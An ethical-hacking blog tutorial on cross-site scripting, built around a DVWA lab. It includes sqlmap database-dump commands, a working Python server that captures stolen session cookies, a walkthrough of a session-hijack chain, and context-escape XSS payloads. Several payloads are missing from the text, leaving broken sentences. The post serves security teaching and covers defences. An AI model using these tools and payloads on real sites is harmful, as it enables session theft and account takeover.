# Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers ![leh-banner.jpg](https://images.hive.blog/DQmc2LpoeHUPesc4Dy8haRKLJgfuDY6UBKdc3sED8Dz3JH9/leh-banner.jpg) ### What will I learn - What **Cross-Site Scripting** is and why it's the most common web vulnerability; - The three types: **Reflected**, **Stored**, and **DOM-based** XSS; - **Session hijacking** via XSS: stealing cookies in real time; - **Keylogging** and **phishing** via injected JavaScript; - Hands-on exploitation of all three types on DVWA; - The defense: **output encoding**, **Content Security Policy**, **HttpOnly cookies**. ### Requirements - A working modern computer running macOS, Windows or Ubuntu; - Your hacking lab from Episode 2 (Kali + DVWA at Security Level: Low); - Basic JavaScript knowledge (variables, functions, DOM -- we'll cover what you need); - The ambition to learn ethical hacking and security research. ### Difficulty - Beginner ### Curriculum (of the `Learn Ethical Hacking` series): - [Learn Ethical Hacking (#1) - Why Hackers Win](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-1-why-hackers-win) - [Learn Ethical Hacking (#2) - Your Hacking Lab](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-2-your-hacking-lab) - [Learn Ethical Hacking (#3) - How the Internet Actually Works - For Attackers](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-3-how-the-internet-actually-works-for-attackers) - [Learn Ethical Hacking (#4) - Reconnaissance - The Art of Not Being Noticed](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-4-reconnaissance-the-art-of-not-being-noticed) - [Learn Ethical Hacking (#5) - Active Scanning - Mapping the Attack Surface](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-5-active-scanning-mapping-the-attack-surface) - [Learn Ethical Hacking (#6) - The AI Slop Epidemic - Why AI-Generated Code Is a Security Disaster](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-6-the-ai-slop-epidemic-why-ai-generated-code-is-a-security-disaster) - [Learn Ethical Hacking (#7) - Passwords - Why Humans Are the Weakest Cipher](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-7-passwords-why-humans-are-the-weakest-cipher) - [Learn Ethical Hacking (#8) - Social Engineering - Hacking the Human](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-8-social-engineering-hacking-the-human) - [Learn Ethical Hacking (#9) - Cryptography for Hackers - What Protects Data (and What Doesn't)](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-9-cryptography-for-hackers-what-protects-data-and-what-doesnt) - [Learn Ethical Hacking (#10) - The Vulnerability Lifecycle - From Discovery to Patch to Exploit](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-10-the-vulnerability-lifecycle-from-discovery-to-patch-to-exploit) - [Learn Ethical Hacking (#11) - HTTP Deep Dive - Request Smuggling and Header Injection](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-11-http-deep-dive-request-smuggling-and-header-injection) - [Learn Ethical Hacking (#12) - SQL Injection - The Bug That Won't Die](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-12-sql-injection-the-bug-that-wont-die) - [Learn Ethical Hacking (#13) - SQL Injection Advanced - Extracting Entire Databases](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-13-sql-injection-advanced-extracting-entire-databases) - [Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) - Injecting Code Into Browsers](https://hive.blog/hive-196387/@scipio/learn-ethical-hacking-14-cross-site-scripting-xss-injecting-code-into-browsers) (this post) ### Solutions to Episode 13 Exercises **Exercise 1 -- sqlmap automated attack:** ```bash # Security: Low -- sqlmap finds UNION injection immediately sqlmap -u "http://localhost/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=xxx; security=low" --batch -D dvwa -T users --dump # Results: 5 users dumped with MD5 hashes, 5/5 cracked automatically # Total time: ~15 seconds # Security: Medium -- dropdown menu, POST request # Intercept with Burp, save request to file, use sqlmap with -r flag: sqlmap -r request.txt --batch -D dvwa -T users --dump # sqlmap detects numeric injection (no quotes needed), still works # Switches to different injection syntax automatically ``` The key insight: sqlmap adapts. When one technique fails, it tries others. When the input is numeric instead of string, it adjusts the payload syntax. This is why automated tools are valuable -- they test hundreds of variations. **Exercise 2 -- Binary search blind extractor:** ``` Performance comparison: - Database name "dvwa" (4 chars): - Naive: 4 * 95 = 380 requests maximum (actual: ~200 avg) - Binary: 4 * 7 = 28 requests maximum - Speedup: ~13.6x - Table name "users" (5 chars): - Naive: 5 * 95 = 475 requests maximum - Binary: 5 * 7 = 35 requests maximum - Speedup: ~13.6x Binary search is consistently ~13-14x faster because log2(95) ~= 6.6, rounded up to 7 requests per character vs 95/2 = 47.5 average requests per character (naive linear). ``` The key insight: binary search transforms blind SQL injection from "theoretically possible but slow" to "practically fast." This is the technique sqlmap uses internally. Algorithmic knowledge makes better security tools. **Exercise 3 -- Post-2020 SQLi breaches:** ``` 1. Accellion FTA (2021): File transfer appliance SQL injection exploited by Cl0p ransomware group. Extracted files from hundreds of organizations. CVSS 9.8. 2. MOVEit Transfer (2023, CVE-2023-34362): SQL injection in file transfer software. Cl0p again. 2,500+ organizations affected. CVSS 9.8. Data of ~84 million people exposed. 3. WooCommerce (2021, CVE-2021-32789): SQL injection in WordPress e-commerce plugin used by 5+ million sites. CVSS 7.5. Why still happening: legacy code, third-party components, ORM bypass (raw queries for "performance"), AI-generated code reverting to string concatenation, and the sheer volume of new code being written faster than it can be reviewed. ``` --- # Learn Ethical Hacking (#14) - Cross-Site Scripting (XSS) SQL injection attacks the server. XSS attacks the _user's browser_. If SQL injection is breaking into the vault, XSS is tricking the bank teller into handing you someone else's money. Cross-Site Scripting is the most common web vulnerability in the wild. OWASP has had it in the Top 10 since the list was created. And it's remarkably simple: if a web application includes user input in the HTML it sends to browsers without proper encoding, an attacker can inject JavaScript that runs in other users' browsers. _Your code. Their browser. Their session._ We spent two full episodes on SQL injection -- the server-side king of web vulnerabilities. Now we pivot to the client-side king. And where SQL injection exploits the boundary between data and SQL code, XSS exploits the boundary between data and HTML/JavaScript code. Same fundamental class of bug, different execution context. The pattern keeps repeating: untrusted input treated as code. We've been tracking this since episode 1. _Hier we gaan._ ### The Fundamental Problem A web application has a search function: ```php // Server-side PHP echo "You searched for: " . $_GET['query']; ``` Normal use: `search.php?query=kittens` produces: ```html You searched for: kittens ``` Attacker's use: `search.php?query=` produces: ```html You searched for: ``` The browser doesn't know that ``), embedded it in the HTML response without any transformation, and the browser executed it. The browser has no way to distinguish "HTML the developer wrote" from "HTML the attacker injected" because they're in the same document, in the same response, rendered by the same parser. The data became code -- exactly the same fundamental problem as SQL injection, just in a different language and a different execution environment. ### Type 1: Reflected XSS Reflected XSS is in the URL or form data -- the script is "reflected" back to the user who sent the request. The attacker needs to trick the victim into clicking a crafted link. On DVWA (Security: Low), go to **XSS (Reflected)**. Enter: ```html ``` An alert box pops up showing your session cookie. Now imagine the attacker sends the victim a link: ``` http://192.168.56.101/dvwa/vulnerabilities/xss_r/?name= ``` When the victim clicks this link, their browser executes the script, which redirects them to the attacker's server with their session cookie in the URL. The attacker captures the cookie and hijacks the session. The attack flow is: attacker crafts URL -> victim clicks URL -> victim's browser requests the page from the legitimate server -> server reflects the payload in the response -> victim's browser executes the script -> script exfiltrates the session to the attacker. Notice that the legitimate server is involved -- the victim IS visiting the real website. That's what makes it convincing. The URL looks suspicious if you examine it closely, but most users (and most URL shorteners) don't. Having said that, reflected XSS requires a social engineering component: you need the victim to click a link. That's its main limitation compared to stored XSS, which we'll look at next. ### Type 2: Stored XSS Stored XSS is _persistent_ -- the malicious script is saved in the application's database and served to every user who visits the affected page. This is far more dangerous because NO user interaction is needed beyond visiting a normal page. On DVWA, go to **XSS (Stored)**. It's a guestbook. Enter: Name: `Attacker` Message: `` Submit. Now every time ANY user loads this guestbook page, the script executes in THEIR browser. In a real application, this could be a forum post, a comment, a profile bio, a product review -- anywhere user content is displayed to other users. The reason stored XSS is so much worse than reflected is _scale_. A reflected XSS attack needs to trick each victim individually (one phishing email, one malicious link). A stored XSS attack hits every single person who visits the page. If you find stored XSS in a popular forum, you could harvest thousands of sessions without sending a single email. The malicious script just sits there in the database, patiently executing in every new browser that loads the page. I've seen pentest reports where a single stored XSS in a support ticket system gave the tester access to every customer service agent's session within a day ;-) ### Type 3: DOM-Based XSS DOM-based XSS is executed entirely in the browser -- the malicious input never reaches the server. It happens when client-side JavaScript reads user input (from the URL, the fragment identifier, or `postMessage`) and writes it into the page without sanitization: ```javascript // Vulnerable client-side code var name = document.location.hash.substring(1); document.getElementById('greeting').innerHTML = 'Hello, ' + name; // NOTE: innerHTML with untrusted input is the XSS vulnerability here // This is the ATTACK we're demonstrating, not code to copy ``` Attacker URL: `http://app.com/page#

` The innerHTML assignment parses the `` tag, the `onerror` fires when the image fails to load, and the JavaScript executes. The server's logs show a normal page request with no injection -- the attack is entirely client-side. This makes DOM-based XSS particularly hard to detect with server-side security tools. A WAF sitting in front of the application sees a perfectly normal request (the fragment `#...` isn't even sent to the server -- that's how URL fragments work per the HTTP spec). The vulnerability exists entirely in the client-side JavaScript code, and the exploit happens entirely in the browser. Server-side logging, server-side input validation, server-side output encoding -- none of it helps here because the server is never involved in the vulnerable code path. The fix for DOM-based XSS is to use `textContent` instead of `innerHTML` when inserting untrusted data, or to use the `DOMPurify` library if HTML rendering is actually needed. We'll get deeper into DOM-based defenses and bypass techniques in the next episode. ### Building a Session Hijacker Let's build the attacker's capture server for our lab: ```python #!/usr/bin/env python3 """ XSS cookie capture server -- receives stolen sessions. LAB USE ONLY. NEVER deploy against real targets. """ from http.server import HTTPServer, BaseHTTPRequestHandler from urllib.parse import urlparse, parse_qs import datetime class CookieCatcher(BaseHTTPRequestHandler): def do_GET(self): query = parse_qs(urlparse(self.path).query) cookie = query.get('c', ['none'])[0] timestamp = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S') print(f"\n[+] Cookie captured at {timestamp}") print(f" From: {self.client_address[0]}") print(f" Cookie: {cookie}") with open('stolen_cookies.txt', 'a') as f: f.write(f"[{timestamp}] {self.client_address[0]}: {cookie}\n") # Send a 1x1 pixel GIF so the victim sees nothing suspicious self.send_response(200) self.send_header('Content-Type', 'image/gif') self.end_headers() self.wfile.write(b'GIF89a\x01\x00\x01\x00\x80\x00\x00\xff\xff\xff' b'\x00\x00\x00!\xf9\x04\x00\x00\x00\x00\x00,\x00' b'\x00\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;') def log_message(self, format, *args): pass # suppress default logging server = HTTPServer(('0.0.0.0', 9090), CookieCatcher) print("[*] Cookie catcher listening on :9090") server.serve_forever() ``` Now the XSS payload for DVWA's stored XSS: ```html ``` This creates an invisible image request to our capture server, carrying the victim's cookies. The `Image()` approach is stealthier than `document.location` because the user isn't redirected -- they stay on the page and never notice anything happened. Let's walk through the full attack chain step by step, because understanding the sequence is important: 1. Start the capture server on your Kali VM: `python3 cookie_catcher.py` 2. Go to DVWA's Stored XSS page and submit the `` payload only works if the input lands in regular HTML body content. If the input lands inside an HTML attribute, a JavaScript string, a URL, or a CSS context, you need different payloads: ```html Hello, Payload: " onfocus="alert(1)" autofocus=" Payload: ";alert(1)// Click Payload: javascript:alert(1) ``` Each context requires a different escape strategy. A payload that works in one context is harmless text in another. This is why XSS scanning tools test multiple payloads per parameter -- they don't know which context the input lands in without checking all of them. This also explains why output encoding (the defense we'll discuss shortly) must be _context-aware_. HTML encoding is different from JavaScript encoding is different from URL encoding. If you HTML-encode a value that gets inserted into a JavaScript string, the encoding doesn't protect you because the HTML entities aren't interpreted inside ``, `">

`, `'onmouseover='alert(1)`, `

#SuperFꜳꜳd